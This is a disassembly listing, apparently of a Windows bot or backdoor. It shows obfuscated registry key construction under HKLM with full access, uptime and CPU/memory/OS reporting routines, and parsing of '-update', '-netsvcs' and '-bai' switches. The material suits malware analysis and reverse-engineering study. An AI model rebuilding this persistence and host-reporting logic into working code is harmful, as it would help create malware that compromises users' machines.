		push	80000002h
		call	esi
		push	0
		push	27h
		push	29h
		push	1Dh
		push	1Eh
		push	5
		push	0Ch
		push	2
		push	1
		push	0Eh
		lea	edx, [esp+1B4h+var_178]
		push	1Fh
		push	edx
		call	sub_4019B5
		add	esp, 30h
		lea	ecx, [esp+18Ch+var_A0]
		push	edi
		push	ecx
		push	1
		push	0
		mov	ecx, eax
		mov	[esp+19Ch+var_18], 1Fh
		call	sub_4017E4
		mov	edx, [esp+19Ch+var_17C]
		push	eax
		push	edx
		nop
		call	near ptr 2930000h
		lea	ecx, [esp+1A4h+var_190]
		mov	[esp+1A4h+var_30], 1Dh
		call	sub_401226
		mov	eax, [esp+1A4h+var_194]
		mov	edi, dword_50F738
		push	eax
		call	edi
		lea	ecx, [esp+1A8h+var_198]
		push	ecx
		push	0F003Fh
		push	0
		lea	ecx, [esp+1B4h+var_130]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	esi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	14h
		push	1
		push	13h
		lea	edx, [esp+1E0h+var_1A8]
		push	2Dh
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1BCh+var_48], 20h
		call	sub_4017E4
		mov	ebp, dword_50F764
		push	eax
		mov	eax, [esp+1C0h+var_1AC]
		push	eax
		call	ebp
		lea	ecx, [esp+1C4h+var_1B0]
		mov	[esp+1C4h+var_50], 1Dh
		call	sub_401226
		mov	ecx, [esp+1C4h+var_1B4]
		push	ecx
		call	edi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	48h
		push	0Eh
		push	15h
		push	12h
		lea	edx, [esp+1ECh+var_1B4]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1C8h+var_54], 21h
		call	sub_4017E4
		push	eax
		call	sub_4015FA
sub_404C70	endp

; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 14244C8Dh, 742484C6h, 1D000001h, 0FFB709E8h,	244C8DFFh
		dd 0B8FEE844h, 22B3FFFFh, 10468h, 1046800h, 4C8D0000h
		dd 9C884C24h, 17C24h, 0C11BE800h, 0E850FFFFh, 23CAF42h
		dd 6A006A90h, 6A186A05h, 6A4E6A05h, 6A0E6A48h, 8D126A15h
		dd 6A382444h, 4EE85009h, 83FFFFBEh, 0C88B2CC4h,	742484C6h
		dd 23000001h, 0FFBC6BE8h, 4C8D50FFh, 61E84824h,	50FFFFBCh
		dd 4C244C8Dh, 44368468h, 9AE85100h, 83FFFFB4h, 4C8D10C4h
		dd 9C881424h, 17424h, 0B680E800h, 4C8DFFFFh, 0D2E84424h
		dd 50FFFFBAh, 0ACD1E890h, 548D023Ch, 4C8D1024h,	68527824h
		dd 0F003Fh, 19E8006Ah, 50FFFFBCh, 268h,	6AD6FF80h, 6A056A00h
		dd 6A056A18h, 6A056A4Eh, 8D016A14h, 6A342444h, 0C6E85012h
		dd 83FFFFBDh, 0C88B28C4h, 742484C6h, 24000001h,	0FFBBE3E8h
		dd 244C8BFFh, 0FF515010h, 244C8DD5h, 249C8814h,	174h, 0FFB60DE8h
		dd 24548BFFh, 0D7FF5210h, 56A006Ah, 56A186Ah, 486A4E6Ah
		dd 486A0E6Ah, 126A496Ah, 456A456Ah, 4424448Dh, 0E850096Ah
		dd 0FFFFBD71h, 8B38C483h, 2484C6C8h, 174h, 0BB8EE825h
		dd 0E850FFFFh, 0FFFFB99Eh, 8D04C483h, 8814244Ch, 174249Ch
		dd 0B7E80000h, 68FFFFB5h, 104h,	10468h,	244C8D00h, 0BFDBE84Ch
		dd 9050FFFFh, 3CAE01E8h, 6A006A02h, 6A186A05h, 6A4E6A05h
		dd 6A0E6A48h, 6A496A48h, 6A456A12h, 244C8D45h, 51096A44h
		dd 0FFBD08E8h, 38C483FFh, 84C6C88Bh, 17424h, 25E82600h
		dd 50FFFFBBh, 48244C8Dh, 0FFBB1BE8h, 548D50FFh,	84684C24h
		dd 52004436h, 0FFB354E8h, 10C483FFh, 14244C8Dh,	74249C88h
		dd 0E8000001h, 0FFFFB53Ah, 44244C8Dh, 0FFB98CE8h, 0E89050FFh
		dd 23CAB8Bh, 1024448Dh,	78244C8Dh, 3F6850h, 6A000Fh, 0FFBAD3E8h
		dd 26850FFh, 0FF800000h, 6A006AD6h, 6A186A05h, 6A4E6A05h
		dd 6A146A05h, 8D136A01h, 6A38244Ch, 7EE85113h, 83FFFFBCh
		dd 0C88B2CC4h, 742484C6h, 27000001h, 0FFBA9BE8h, 24548BFFh
		dd 0FF525010h, 244C8DD5h, 249C8814h, 174h, 0FFB4C5E8h
		dd 24448BFFh, 0D7FF5010h, 56A006Ah, 56A186Ah, 136A4E6Ah
		dd 136A196Ah, 96A0E6Ah,	3C244C8Dh, 0E851176Ah, 0FFFFBC2Dh
		dd 8B30C483h, 2484C6C8h, 174h, 0BA4AE828h, 0E850FFFFh
		dd 0FFFFB85Ah, 8D04C483h, 8814244Ch, 174249Ch, 73E80000h
		dd 68FFFFB4h, 104h, 10468h, 244C8D00h, 0BE97E84Ch, 9050FFFFh
		dd 3CACBDE8h, 6A006A02h, 6A186A05h, 6A4E6A05h, 6A196A13h
		dd 6A0E6A13h, 24548D09h, 52176A3Ch, 0FFBBC8E8h,	30C483FFh
		dd 84C6C88Bh, 17424h, 0E5E82900h, 50FFFFB9h, 48244C8Dh
		dd 0FFB9DBE8h, 448D50FFh, 84684C24h, 50004436h,	0FFB214E8h
		dd 10C483FFh, 14244C8Dh, 74249C88h, 0E8000001h,	0FFFFB3FAh
		dd 44244C8Dh, 0FFB84CE8h, 0E89050FFh, 23CAA4Bh,	10244C8Dh
		dd 3F6851h, 6A000Fh, 84248C8Dh,	0E8000000h, 0FFFFB990h
		dd 26850h, 0D6FF8000h, 56A006Ah, 56A186Ah, 56A4E6Ah, 16A146Ah
		dd 106A046Ah, 46A156Ah,	548D476Ah, 46A4824h, 0BB33E852h
		dd 0C483FFFFh, 0C6C88B3Ch, 1742484h, 0E82A0000h, 0FFFFB950h
		dd 24448B50h, 0D5FF5014h, 14244C8Dh, 74249C88h,	0E8000001h
		dd 0FFFFB37Ah, 10244C8Bh, 6AD7FF51h, 6A056A00h,	6A056A18h
		dd 6A056A4Eh, 6A076A0Ch, 6A056A01h, 24548D02h, 52026A40h
		dd 0FFBAE0E8h, 34C483FFh, 84C6C88Bh, 17424h, 0FDE82B00h
		dd 50FFFFB8h, 0FFB70DE8h, 4C483FFh, 14244C8Dh, 74249C88h
		dd 0E8000001h, 0FFFFB326h, 10468h, 1046800h, 4C8D0000h
		dd 4AE84C24h, 50FFFFBDh, 0AB70E890h, 6A023Ch, 186A056Ah
		dd 4E6A056Ah, 0C6A056Ah, 16A076Ah, 26A056Ah, 4024448Dh
		dd 0E850026Ah, 0FFFFBA79h, 8B34C483h, 2484C6C8h, 174h
		dd 0B896E82Ch, 8D50FFFFh, 0E848244Ch, 0FFFFB88Ch, 244C8D50h
		dd 3684684Ch, 0E8510044h, 0FFFFB0C5h, 8D10C483h, 8814244Ch
		dd 174249Ch, 0ABE80000h, 8DFFFFB2h, 0E844244Ch,	0FFFFB6FDh
		dd 0FCE89050h, 8D023CA8h, 8D102454h, 5278244Ch,	0F003F68h
		dd 0E8006A00h, 0FFFFB844h, 26850h, 0D6FF8000h, 0E6A006Ah
		dd 276A0F6Ah, 136A0B6Ah, 448D016Ah, 2E6A3024h, 0B9F3E850h
		dd 0C483FFFFh, 0C6C88B24h, 1742484h, 0E82D0000h, 0FFFFB810h
		dd 10244C8Bh, 0D5FF5150h, 14244C8Dh, 74249C88h,	0E8000001h
		dd 0FFFFB23Ah, 1024548Bh, 6AD7FF52h, 6A056A00h,	6A056A18h
		dd 6A0E6A4Eh, 6A0D6A0Fh, 6A136A0Bh, 24448D01h, 50146A40h
		dd 0FFB9A0E8h, 34C483FFh, 84C6C88Bh, 17424h, 0BDE82E00h
		dd 50FFFFB7h, 0FFB5CDE8h, 4C483FFh, 14244C8Dh, 74249C88h
		dd 0E8000001h, 0FFFFB1E6h, 10468h, 1046800h, 4C8D0000h
		dd 0AE84C24h, 50FFFFBCh, 0AA30E890h, 6A023Ch, 186A056Ah
		dd 4E6A056Ah, 0F6A0E6Ah, 0B6A0D6Ah, 16A136Ah, 40244C8Dh
		dd 0E851146Ah, 0FFFFB939h, 8B34C483h, 2484C6C8h, 174h
		dd 0B756E82Fh, 8D50FFFFh, 0E848244Ch, 0FFFFB74Ch, 36846850h
		dd 548D0044h, 0E8525024h, 0FFFFAF85h, 8D10C483h, 8814244Ch
		dd 174249Ch, 6BE80000h,	8DFFFFB1h, 0E844244Ch, 0FFFFB5BDh
		dd 0BCE89050h, 8D023CA7h, 8D102444h, 5078244Ch,	0F003F68h
		dd 0E8006A00h, 0FFFFB704h, 26850h, 0D6FF8000h, 126A006Ah
		dd 126A056Ah, 0C6A0F6Ah, 186A106Ah, 0B0248C8Dh,	6A000000h
		dd 0AEE8511Fh, 83FFFFB8h, 0C88B28C4h, 742484C6h, 30000001h
		dd 0FFB6CBE8h, 24548BFFh, 0FF525010h, 248C8DD5h, 90h, 74249C88h
		dd 0E8000001h, 0FFFFB0F2h, 1024448Bh, 8BD7FF50h, 50FB0435h
		dd 36686800h, 0D6FF0044h, 44364C68h, 68D6FF00h,	44362Ch
		dd 868D6FFh, 0FF004436h, 10C483D6h, 44244C8Dh, 742484C6h
		dd 1D000001h, 0FFB0B5E8h, 244C8DFFh, 2484C778h,	174h, 0FFFFFFFFh
		dd 0FFB0A1E8h, 0E901B0FFh, 0FFFFF4E9h, 90909090h, 154h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_4066E0	proc near		; CODE XREF: sub_40194Cj

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4066E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	ebp
		push	esi
		xor	ebx, ebx
		push	edi
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_28], ebx
		call	sub_401424
		mov	esi, [esp+38h+arg_4]
		mov	ebp, 1
		cmp	esi, ebx
		mov	[esp+38h+var_4], ebp
		jnz	short loc_406731
		mov	esi, [esp+38h+arg_0]
		push	ebx
		mov	ecx, esi
		call	sub_4020F4
		mov	[esp+38h+var_28], ebp
		jmp	loc_4067D7
; ---------------------------------------------------------------------------


loc_406731:				; CODE XREF: sub_4066E0+3Aj
		call	near ptr 27D07EBh
		nop
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		add	edx, ecx
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	edi, edx
		cmp	edi, esi
		jl	short loc_4067C3
		mov	eax, ecx
		mov	ecx, 15180h
		cdq
		idiv	ecx
		mov	esi, 0E10h
		mov	ecx, edx
		mov	eax, ecx
		cdq
		idiv	esi
		mov	eax, 88888889h
		mov	esi, edx
		imul	esi
		add	edx, esi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		push	edx
		push	edi
		lea	edx, [esp+44h+var_24]
		push	offset aUpDdDhDm ; "up:	%dd %dh	%dm"
		push	edx
		call	sub_40102D
		mov	esi, [esp+4Ch+arg_0]
		add	esp, 14h
		lea	eax, [esp+38h+var_24]
		mov	ecx, esi
		push	eax
		call	sub_4014C9
		jmp	short loc_4067D3
; ---------------------------------------------------------------------------


loc_4067C3:				; CODE XREF: sub_4066E0+7Cj
		mov	esi, [esp+38h+arg_0]
		push	offset byte_446F70
		mov	ecx, esi
		call	sub_401861


loc_4067D3:				; CODE XREF: sub_4066E0+E1j
		mov	[esp+38h+var_28], ebp


loc_4067D7:				; CODE XREF: sub_4066E0+4Cj
		lea	ecx, [esp+38h+var_24]
		mov	byte ptr [esp+38h+var_4], bl
		call	sub_401226
		mov	ecx, [esp+38h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn	8
sub_4066E0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_406850:				; CODE XREF: ___:00401668j
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	offset byte_446F70
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_401861
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406890	proc near		; CODE XREF: sub_401F3Cj

var_198		= dword	ptr -198h
var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_164		= byte ptr -164h
var_14C		= byte ptr -14Ch
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_406890
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18Ch
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+1A4h+var_18C]
		mov	[esp+1A4h+var_198], 0
		call	sub_401424
		mov	[esp+1A4h+var_4], 1
		call	near ptr 27D07EBh
		nop
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	esi, edx
		lea	edx, [esp+1A4h+var_14C]
		push	edx
		mov	[esp+1A8h+var_190], 10h
		shr	esi, 6
		mov	[esp+1A8h+var_194], 15h
		call	near ptr 2820000h
		nop
		lea	eax, [esp+1A4h+var_12C]
		mov	[esp+1A4h+var_12C], 94h
		push	eax
		nop
		call	near ptr 2810000h
		mov	eax, [esp+1A4h+var_128]
		cmp	eax, 4
		jnz	short loc_40695E
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_406946
		mov	eax, [esp+1A4h+var_11C]
		cmp	eax, 1
		jnz	short loc_406936
		mov	ebp, offset a95	; "95"
		jmp	loc_4069D1
; ---------------------------------------------------------------------------


loc_406936:				; CODE XREF: sub_406890+9Aj
		cmp	eax, 2
		jnz	loc_4069CD
		mov	ebp, offset aNt	; "NT"
		jmp	short loc_40699A
; ---------------------------------------------------------------------------


loc_406946:				; CODE XREF: sub_406890+8Ej
		cmp	eax, 0Ah
		jnz	short loc_406952
		mov	ebp, offset a98	; "98"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_406952:				; CODE XREF: sub_406890+B9j
		cmp	eax, 5Ah
		jnz	short loc_40698B
		mov	ebp, offset aMe	; "ME"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_40695E:				; CODE XREF: sub_406890+83j
		cmp	eax, 5
		jnz	short loc_40698B
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_406975
		mov	ebp, offset a2000 ; "2000"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_406975:				; CODE XREF: sub_406890+DCj
		cmp	eax, 1
		jnz	short loc_406981
		mov	ebp, offset aXp	; "XP"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_406981:				; CODE XREF: sub_406890+E8j
		cmp	eax, 2
		mov	ebp, offset a2003 ; "2003"
		jz	short loc_406990


loc_40698B:				; CODE XREF: sub_406890+C5j
					; sub_406890+D1j
		mov	ebp, offset a??? ; "???"


loc_406990:				; CODE XREF: sub_406890+C0j
					; sub_406890+CCj ...
		cmp	[esp+1A4h+var_11C], 2
		jnz	short loc_4069D1


loc_40699A:				; CODE XREF: sub_406890+B4j
		mov	al, [esp+1A4h+var_118]
		test	al, al
		jz	short loc_4069D1
		lea	ecx, [esp+1A4h+var_118]
		lea	edx, [esp+1A4h+var_98]
		push	ecx
		push	ebp
		push	offset aSS_2	; "%s [%s]"
		push	edx
		nop
		call	sub_5EFFD5
		add	esp, 10h
		lea	ebp, [esp+1A4h+var_98]
		jmp	short loc_4069D1
; ---------------------------------------------------------------------------


loc_4069CD:				; CODE XREF: sub_406890+A9j
		mov	ebp, [esp+1A4h+var_198]


loc_4069D1:				; CODE XREF: sub_406890+A1j
					; sub_406890+108j ...
		lea	eax, [esp+1A4h+var_190]
		lea	ecx, [esp+1A4h+var_174]
		push	eax
		push	ecx
		call	near ptr 2800000h
		nop
		lea	edx, [esp+1A4h+var_194]
		lea	eax, [esp+1A4h+var_164]
		push	edx
		push	eax
		nop
		call	near ptr 2920000h
		mov	eax, esi
		mov	ecx, 15180h
		cdq
		idiv	ecx
		lea	eax, [esp+1A4h+var_174]
		mov	edi, 0E10h
		mov	ecx, edx
		lea	edx, [esp+1A4h+var_164]
		push	edx
		push	eax
		mov	eax, ecx
		cdq
		idiv	edi
		mov	eax, 88888889h
		mov	edi, edx
		imul	edi
		add	edx, edi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		mov	eax, 0C22E4507h
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		mov	ecx, [esp+1B0h+var_120]
		push	edx
		imul	esi
		add	edx, esi
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, [esp+1B4h+var_128]
		push	edx
		mov	edx, [esp+1B8h+var_124]
		push	ecx
		mov	ecx, [esp+1BCh+var_144]
		push	edx
		push	eax
		mov	eax, 804021h
		push	ebp
		mul	ecx
		sub	ecx, edx
		mov	eax, 804021h
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		mov	ecx, [esp+1CCh+var_140]
		mul	ecx
		sub	ecx, edx
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		call	sub_4017F3
		push	eax
		lea	ecx, [esp+1D4h+var_18C]
		push	offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "...
		push	ecx
		call	sub_40102D
		mov	esi, [esp+1DCh+arg_0]
		add	esp, 38h
		lea	edx, [esp+1A4h+var_18C]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+1A4h+var_198], 1
		lea	ecx, [esp+1A4h+var_18C]
		mov	byte ptr [esp+1A4h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+1A4h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 198h
		retn	4
sub_406890	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406BA0	proc near		; CODE XREF: sub_4015DCj
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E008
		mov	dword ptr [eax+110h], 0
		retn
sub_406BA0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_406BD0:				; CODE XREF: ___:00401F8Cj
		push	esi
		mov	esi, ecx
		call	sub_40143D
		test	byte ptr [esp+8], 1
		jz	short loc_406BE8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406BE8:				; CODE XREF: ___:00406BDDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406C00	proc near		; CODE XREF: sub_40143Dj
		mov	dword ptr [ecx], offset	off_43E008
		mov	ecx, [ecx+110h]
		test	ecx, ecx
		jz	short locret_406C17
		push	ecx
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx

locret_406C17:				; CODE XREF: sub_406C00+Ej
		retn
sub_406C00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_406C30	proc near		; CODE XREF: sub_401384j

arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_406C30
		push	eax
		mov	large fs:0, esp
		sub	esp, 448h
		push	ebx
		mov	ebx, ecx
		mov	eax, [ebx+110h]
		test	eax, eax
		jz	short loc_406C61
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406C61:				; CODE XREF: sub_406C30+26j
		push	ebp
		push	esi
		mov	esi, [esp+460h+arg_0]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		call	sub_4367FA
sub_406C30	endp

; ---------------------------------------------------------------------------
		mov	edx, eax
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+110h], edx
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	edi, [ebx+110h]
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx+5], 0
		mov	byte ptr [ebx+9], 0
		mov	byte ptr [ebx+0Ah], 0
		mov	byte ptr [ebx+0Bh], 0
		repne scasb
		not	ecx
		push	ecx
		call	sub_4367FA
; ---------------------------------------------------------------------------
		mov	edi, [ebx+110h]
		mov	edx, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	ebp, dword_50FAF4
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		push	offset asc_443600 ; " "
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		push	edx
		and	ecx, 3
		rep movsb
		call	ebp	; strtok
		add	esp, 10h
		mov	[esp+58h], eax
		lea	esi, [esp+5Ch]
		mov	edi, 0FFh


loc_406D12:				; CODE XREF: ___:00406D24j
		push	offset asc_443600 ; " "
		push	0
		call	ebp	; strtok
		mov	[esi], eax
		add	esp, 8
		add	esi, 4
		dec	edi
		jnz	short loc_406D12
		mov	eax, [esp+58h]
		xor	ecx, ecx
		cmp	eax, ecx
		jz	loc_406F18
		lea	ebp, [esp+58h]


loc_406D38:				; CODE XREF: ___:00406F10j
		mov	edi, [ebp+0]
		mov	esi, offset dword_4437EC
		mov	eax, edi


loc_406D42:				; CODE XREF: ___:00406D60j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406D66
		test	cl, cl
		jz	short loc_406D62
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406D66
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406D42


loc_406D62:				; CODE XREF: ___:00406D4Cj
		xor	eax, eax
		jmp	short loc_406D6B
; ---------------------------------------------------------------------------


loc_406D66:				; CODE XREF: ___:00406D48j
					; ___:00406D56j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406D6B:				; CODE XREF: ___:00406D64j
		test	eax, eax
		jz	loc_406F08
		mov	esi, offset aUpdate ; "-update"
		mov	eax, edi


loc_406D7A:				; CODE XREF: ___:00406D98j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406D9E
		test	cl, cl
		jz	short loc_406D9A
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406D9E
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406D7A


loc_406D9A:				; CODE XREF: ___:00406D84j
		xor	eax, eax
		jmp	short loc_406DA3
; ---------------------------------------------------------------------------


loc_406D9E:				; CODE XREF: ___:00406D80j
					; ___:00406D8Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DA3:				; CODE XREF: ___:00406D9Cj
		test	eax, eax
		jnz	short loc_406DB0
		mov	byte ptr [ebx+9], 1
		jmp	loc_406F08
; ---------------------------------------------------------------------------


loc_406DB0:				; CODE XREF: ___:00406DA5j
		mov	esi, offset aNetsvcs ; "-netsvcs"
		mov	eax, edi


loc_406DB7:				; CODE XREF: ___:00406DD5j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406DDB
		test	cl, cl
		jz	short loc_406DD7
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406DDB
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406DB7


loc_406DD7:				; CODE XREF: ___:00406DC1j
		xor	eax, eax
		jmp	short loc_406DE0
; ---------------------------------------------------------------------------


loc_406DDB:				; CODE XREF: ___:00406DBDj
					; ___:00406DCBj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DE0:				; CODE XREF: ___:00406DD9j
		test	eax, eax
		jnz	short loc_406DED
		mov	byte ptr [ebx+0Ah], 1
		jmp	loc_406F08
; ---------------------------------------------------------------------------


loc_406DED:				; CODE XREF: ___:00406DE2j
		mov	esi, offset aBai ; "-bai"
		mov	eax, edi


loc_406DF4:				; CODE XREF: ___:00406E12j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406E18
		test	cl, cl
		jz	short loc_406E14
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406E18
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406DF4


loc_406E14:				; CODE XREF: ___:00406DFEj
		xor	eax, eax
		jmp	short loc_406E1D
; ---------------------------------------------------------------------------


loc_406E18:				; CODE XREF: ___:00406DFAj
					; ___:00406E08j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406E1D:				; CODE XREF: ___:00406E16j
		test	eax, eax
		jnz	loc_406F08
		lea	ecx, [esp+10h]
		call	sub_401424
		mov	eax, [esp+468h]
		push	offset aBai	; "-bai"
		push	eax
		mov	dword ptr [esp+468h], 0
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	loc_406EF4
		push	eax
		lea	ecx, [esp+14h]
		call	sub_4015D7
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+30h]
		push	1
		push	ecx
		lea	ecx, [esp+20h]
		call	sub_4011EA
		push	offset byte_446F70
		mov	ecx, eax
		mov	byte ptr [esp+464h], 1
		call	sub_4012EE
		lea	ecx, [esp+28h]
		mov	esi, eax
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		test	esi, esi
		jz	short loc_406EF4
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+48h]
		push	1
		push	edx
		lea	ecx, [esp+20h]
		mov	byte ptr [ebx+0Bh], 1
		call	sub_4011EA
		push	104h
		mov	ecx, eax
		mov	byte ptr [esp+464h], 2
		call	sub_401681
		push	eax
		lea	eax, [ebx+0Ch]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		add	ebp, 4


loc_406EF4:				; CODE XREF: ___:00406E51j
					; ___:00406EA1j
		lea	ecx, [esp+10h]
		mov	dword ptr [esp+460h], 0FFFFFFFFh
		call	sub_401226


loc_406F08:				; CODE XREF: ___:00406D6Dj
					; ___:00406DABj ...
		mov	eax, [ebp+4]
		add	ebp, 4
		test	eax, eax
		jnz	loc_406D38
		xor	ecx, ecx


loc_406F18:				; CODE XREF: ___:00406D2Ej
		mov	al, [ebx+4]
		pop	edi
		pop	esi
		pop	ebp
		test	al, al
		jnz	short loc_406F25
		mov	[ebx+5], ecx


loc_406F25:				; CODE XREF: ___:00406F20j
		cmp	[ebx+5], ecx
		jnz	short loc_406F35
		test	al, al
		jz	short loc_406F35
		mov	dword ptr [ebx+5], 0Ah


loc_406F35:				; CODE XREF: ___:00406F28j
					; ___:00406F2Cj
		mov	[ebx+5], ecx
		mov	ecx, [esp+44Ch]
		mov	byte ptr [ebx+4], 0
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 454h
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 0D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407030	proc near		; CODE XREF: sub_40209Fj

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_407030
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+32h]
		push	eax
		mov	[esp+1Ch+var_4], 0
		call	sub_401564
sub_407030	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	dword ptr [esi], offset	off_43E00C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
